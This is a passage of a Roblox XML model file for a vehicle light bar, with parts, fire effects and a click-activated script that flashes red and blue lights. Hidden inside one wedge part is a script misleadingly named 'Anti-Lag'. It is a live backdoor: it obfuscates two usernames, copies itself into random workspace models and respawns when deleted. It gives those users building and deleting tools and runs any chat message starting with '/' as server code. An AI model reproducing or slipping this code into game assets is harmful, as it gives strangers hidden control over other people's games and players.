											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3730">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-250.399994</X>
											<Y>11.999999</Y>
											<Z>257.5</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">F</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3731">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3732">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-249.5</X>
											<Y>11.5999994</Y>
											<Z>258</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="ClickDetector" referent="RBX3733">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="MaxActivationDistance">32</float>
											<string name="Name">ClickDetector</string>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX3734">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX3735">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Script</string>
											<ProtectedString name="Source">On=false 
function onClicked() 
if On then On=false else 
On=true 
while On do 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=1 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
end 
end 
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked) </ProtectedString>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Model" referent="RBX3736">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX3737">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX3738">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX3739">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-251</X>
											<Y>11.5999994</Y>
											<Z>258</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>-1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX3740">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX3741">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3742">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-251</X>
											<Y>12.3999987</Y>
											<Z>258</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>6</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX3743">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX3744">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX3745">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-251.021042</X>
											<Y>11.5892696</Y>
											<Z>255.483978</Z>
											<R00>0.999987245</R00>
											<R01>9.24542546e-005</R01>
											<R02>0.00505417679</R02>
											<R10>-9.19438899e-005</R10>
											<R11>1</R11>
											<R12>-0.000101076672</R12>
											<R20>-0.00505416747</R20>
											<R21>0.000100609846</R21>
											<R22>0.999987304</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3746">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX3747">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-251.020325</X>
											<Y>11.5890036</Y>
											<Z>260.507477</Z>
											<R00>-0.999984741</R00>
											<R01>8.67620111e-005</R01>
											<R02>0.00552455289</R02>
											<R10>8.66912305e-005</R10>
											<R11>1</R11>
											<R12>-1.31297857e-005</R12>
											<R20>-0.00552457245</R20>
											<R21>-1.26514351e-005</R21>
											<R22>-0.999984801</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3748">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX3749">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Anti-Lag</string>
											<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3750">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-251</X>
											<Y>11.5999994</Y>
											<Z>256.5</Z>
